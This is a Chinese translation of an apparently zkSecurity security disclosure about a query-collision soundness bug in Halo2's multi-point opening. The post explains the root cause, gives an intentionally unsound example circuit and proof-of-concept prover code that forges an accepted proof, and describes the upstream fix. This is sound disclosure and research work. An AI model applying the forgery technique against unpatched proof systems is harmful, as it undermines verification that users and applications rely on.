揭秘 Halo2 中的查询冲突漏洞:一次额外的查询如何打破可靠性

Halo2 中存在一个查询冲突的漏洞,当多点打开参数中多次在同一评估点查询同一多项式时,会导致一个评估被忽略,恶意证明者可以伪造评估并通过验证,文章解释了漏洞的根本原因,并通过具体的例子展示了如何利用它,以及如何在 Halo2 中修复它。

碰撞

我们最近在 Halo2 中发现了一个细微但重要的完备性问题,我们将其命名为查询碰撞 Bug。它会影响某些极端情况的电路,并且存在于广泛使用的版本中,包括 Zcash 的主要实现PSE 的分支。我们已向相关团队披露了该问题,包括 Zcash、PSE 和 Axiom,所有这些团队都已对其进行了修补。虽然没有已知的生产电路受到影响,但该 Bug 揭示了证明系统中一个令人惊讶的漏洞,值得关注。

摘要

当在多点打开参数中,同一个多项式在同一个求值点被多次查询时,就会发生该 Bug。因此,在多重打开期间,其中一个求值会被静默忽略,从而允许恶意证明者伪造求值并通过验证。在实践中,添加一个额外的(人为设计的)列查询可能会引入查询冲突并破坏电路的完备性。

在这篇博文中,我们将解释该 Bug 的根本原因,通过一个具体的例子演示如何利用它,并讨论如何在 upstream 的 Halo2 中修复它。

背景:Halo2 如何处理查询

Halo2 是一个基于 PLONK 协议的零知识证明框架,由 Electric Coin Company (ECC) 为 Zcash 开发。Halo2 中的电路被构造为表格:每列包含一系列值,每行代表计算中的一个步骤。约束是通过在特定偏移量(旋转)处查询这些列中的值来定义的。

每列都被编码为一个有限域上的多项式。在某个旋转角度查询一列相当于在域中的特定点评估其多项式。例如,在当前行查询列 a 意味着在挑战点 r 评估多项式 A。查询下一行是在 ωr 处评估,其中 ω 是单位根,ωr 是乘法子群中 r 的下一个点。

列之间的约束使用 gate 来强制执行。例如,以下 gate 查询 column1 的当前行和 column2 的下一行,强制所有 i 的 column1[i] = column2[i+1]

// 创建一个 gate,用于检查两列是否在偏移量处相等。
meta.create_gate("offset equal gate", |meta| {
    let a1 = meta.query_advice(column1, Rotation::cur()); // 查询 column1 的当前行
    let a2 = meta.query_advice(column2, Rotation::next()); // 查询 column2 的下一行
    vec![(a1 - a2)] // 强制 a1 - a2 = 0
});

在证明系统级别,证明者使用多项式承诺方案 (PCS)(例如 IPA 或 KZG)来承诺这些列。验证者接收这些承诺,并在随机点 x 处检查 gate 约束。

对于上面的“offset equal gate”,证明者将 column1column2 表示为多项式 f1 和 f2,对它们进行承诺,并将承诺发送给验证者。验证者想要检查对于求值域中的所有 x,f1(x)−f2(ωx)=0。证明者通过发送对多项式 h 的承诺并声明 f1(x)−f2(ωx)=V(x)h(x) 来使验证者信服,其中 V(x) 是在域上为零的消失多项式。验证者(通过 Fiat-Shamir)选择一个随机点 r 并检查 f1(r)−f2(ωr)=V(r)h(r)。如果在随机 r 处成立,那么根据 Schwartz-Zippel 引理,约束在整个域上以可忽略的误差成立。因此,f1 和 f2 在所需的偏移量处相等,“offset equal gate”得到满足。为了执行此检查,验证者需要评估某些点处的承诺多项式,这可以通过多项式承诺打开来实现。

在实践中,电路通常有许多列和 gate,因此需要评估多个点处的多个多项式。为了提高效率,Halo2 采用了多点打开技术——特别是 SHPLONK 方案。这允许验证者将不同多项式和求值点的许多查询批量处理为单个证明。在内部,验证者批量处理求值,计算所有承诺和声明求值的线性组合,并检查单个聚合方程,以确保满足所有约束。

这种优化大大提高了性能,但正如我们将在下一节中看到的那样,当查询发生冲突时,实现会引入细微的陷阱。

多点打开和查询冲突 Bug

多点打开参数用于有效地评估多个点处的多个多项式承诺。从概念上讲,该实现维护一个从 (Commitment, QueryPoint)Value 的映射来跟踪查询。这里,key 是多项式承诺和查询点的元组,value 是多项式在该点的求值。当两个独立的查询具有相同的 key 时,就会发生“查询冲突”——这意味着它们引用相同的承诺和相同的求值点——即使预期值不同。发生这种情况时,一个求值会静默覆盖映射中的另一个求值,导致一个求值在验证期间被忽略。这是一个关键缺陷:恶意证明者可以利用它来伪造证明,因为多项式承诺打开中不会检查其中一个求值。

Halo2 的前端试图删除重复的查询。例如,如果用户在当前行查询列 a 两次,则前端会将这些查询合并为单个查询,因此只执行一个求值。但是,在以下两种情况下,查询冲突仍然可能发生:

  1. 查询在同一点具有相同承诺值的两列。例如,查询列 ab 的当前行,其中两列相同,因此它们的承诺相等。
  2. 在两个不同的旋转处查询同一列(前端不会删除重复的查询),但由于域环绕,它们对应于同一个求值点。

在 Zcash 和 PSE 的 Halo2 中,情况 1 不是问题,因为承诺是通过引用而不是通过值进行比较的。即使两个承诺具有相同的值,如果它们是内存中不同的对象,则在映射中它们也会被视为不同的对象。这可以防止这种情况下的冲突,但如果未来的实现改变此行为,则可能会成为问题。

impl<'r, 'params: 'r, C: CurveAffine> PartialEq for CommitmentReference<'r, 'params, C> {
    fn eq(&self, other: &Self) -> bool {
        match (self, other) {
            (&CommitmentReference::Commitment(a), &CommitmentReference::Commitment(b)) => {
                std::ptr::eq(a, b)
            }
            (&CommitmentReference::MSM(a), &CommitmentReference::MSM(b)) => std::ptr::eq(a, b),
            _ => false,
        }
    }
}

情况 2 更加微妙,会影响所有广泛使用的 Halo2 版本。在 Halo2 中,表长度始终是 2 的幂,2k,并且求值域是此大小的乘法子群。给定一个挑战点 r,将其旋转 2k 会使其返回到同一个点:ω2k⋅r=r。这意味着在 Rotation(0)Rotation(2^k) 处查询一列实际上是指同一个求值点。但是,由于这些被指定为不同的旋转,因此前端不会删除它们的重复项,从而导致对同一多项式在同一点进行两次查询——即查询冲突。更一般地,对于任何 Rotation(a)Rotation(b),只要 a≡b(mod2k),它们就指向求值域中的相同位置。这种微妙之处很容易被忽视,并且是该 Bug 的根本原因。

下面是一个演示此问题的示例电路。“hack eq gate”在 Rotation(256) 处查询 advice2 列,这将环绕到当前行(假设表的 2k=256)。因此,advice2 在同一点被查询两次——一次在“hack eq gate”中,一次在“eq gate”中——从而触发查询冲突 Bug。在实践中,任何满足 rotation≡0(mod2k) 的 Rotation 值(例如 512 或 2560)也会环绕并可能导致类似的冲突。恶意证明者可以利用这种微妙之处来伪造证明,如下一节所示。

// 警告:此电路不健全
fn configure(meta: &mut ConstraintSystem<F>) -> Self::Config {
    let advice1 = meta.advice_column();
    let advice2 = meta.advice_column();
    let selector = meta.selector();

    // 创建“普通”gate,用于检查两个 advice 列是否相等
    meta.create_gate("eq gate", |meta| {
        let a1 = meta.query_advice(advice1, Rotation::cur());
        let a2 = meta.query_advice(advice2, Rotation::cur());
        let sel = meta.query_selector(selector);
        vec![sel * (a1 - a2)]
    });

    // 创建“hack”gate,用于查询环绕的行
    meta.create_gate("hack eq gate", |meta| {
        let a1 = meta.query_advice(advice1, Rotation::cur());
        // 我们的电路总共有 2^k = 256 行
        // 这是 advice2 列的环绕当前行,因为 256 = 0 mod 2^k
        let wrapped_a2 = meta.query_advice(advice2, Rotation(256));
        let sel = meta.query_selector(selector);
        vec![sel * (a1 - wrapped_a2)]
    });

    [...]
}

概念验证攻击

如上所示,任何具有重复环绕查询的 Halo2 电路都不健全。 这里,我们提供了一个概念验证 (PoC),演示了如何通过利用查询冲突 Bug 来伪造证明。

以下代码段是添加到证明者的核心逻辑。它修改了第二个(冲突的)查询的求值,以通过消失表达式检查。由于查询冲突 Bug,在多点打开参数中,第二个查询被忽略,因此这种修改永远不会被验证者检测到。

// 为了通过消失表达式检查,我们修改重复查询的求值。
// 我们可以这样做,因为在承诺检查中,重复查询的第二个项目将被忽略。
let mut advice_evals = self.get_advice_evals(x, &advice);
println!("origin advice evals {:?} ", advice_evals);
let sel_x = eval_polynomial(&self.pk.fixed_polys[0].values, *x);
// 获取计算出的 h(x) 值:(y*gate1 + gate0) / (xn - 1)
// gate1 = sel(x) * (advice1(x) - advice2(x))
// gate0 = sel(x) * (advice1(x) - advice2(x * omega^256))
let fn_get_prover_h_x = |advice_evals: &Vec<<Scheme as CommitmentScheme>::Scalar>| {
    (*y * sel_x * (advice_evals[0] - advice_evals[1]) + sel_x * (advice_evals[0] - advice_evals[2])) * (x_pow_n - Scheme::Scalar::ONE).invert().unwrap()
};
let calculated_h_x = fn_get_prover_h_x(&advice_evals);
println!("calculated h(X): {:?}", calculated_h_x);
// 获取承诺的 h(x)。
// 如果这不是一个有效的证明,那么两个 h(x) 应该不匹配。
let committed_h_x = vanishing.h_x(x, x_pow_n, &self.pk.vk.domain, self.transcript);
println!("verifier expected h(x): {:?}", committed_h_x);

// 修改 advice eval 以匹配 h(x)
let diff = (committed_h_x - calculated_h_x) * (x_pow_n - Scheme::Scalar::ONE) * (sel_x.invert().unwrap());
advice_evals[2] = advice_evals[2] - diff;
let modified_h_x = fn_get_prover_h_x(&advice_evals);
println!("prover modified h(X): {:?}", modified_h_x);

此代码演示了恶意证明者如何调整 witness 以伪造通过验证的证明,即使 witness 无效。你可以使用以下命令运行示例电路,以观察伪造的证明被接受:

cargo run --package halo2_proofs --example query-collision-circuit-example

修复

此问题最初是在下游 Halo2 分支的审计期间发现的。在确认上游项目受到影响后,我们立即将其报告给相关团队,包括 Zcash、PSE、Axiom、ezkl 等。幸运的是,在生产部署中没有发现任何影响,并且此后已应用修复程序。 Zcash 的修复程序可以在这里找到

修复程序很简单:在多点打开参数中,如果存在查询冲突,其中相同的承诺和求值点与冲突值相关联,则实现应检测到。如果发现此类冲突,则应拒绝该证明。这确保了所有查询都被一致地检查,并防止恶意证明者利用该 Bug。

结论

这篇文章揭示了 Halo2 中的一个关键完备性问题,其中多点打开参数中的查询冲突允许恶意证明者通过利用同一点的重复查询来伪造证明。我们演示了这种微妙的 Bug 如何仅通过一个额外的查询来破坏电路完备性,并提供了一个概念验证攻击。

多点打开是零知识证明系统中广泛使用的优化技术,因此其他使用此技术的框架中可能存在类似的问题。开发人员和审计人员应注意这些陷阱,并仔细审查其证明系统中如何批量处理和删除重复查询。

我们要感谢 Halo2 维护人员和所有参与此问题的团队的及时响应和协作。在 zkSecurity,我们仍然致力于发现和减轻零知识协议和工具中的安全风险,并帮助加强整个生态系统。

  • 原文链接: blog.zksecurity.xyz/post...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
zksecurity
zksecurity
Security audits, development, and research for ZKP, FHE, and MPC applications, and more generally advanced cryptography.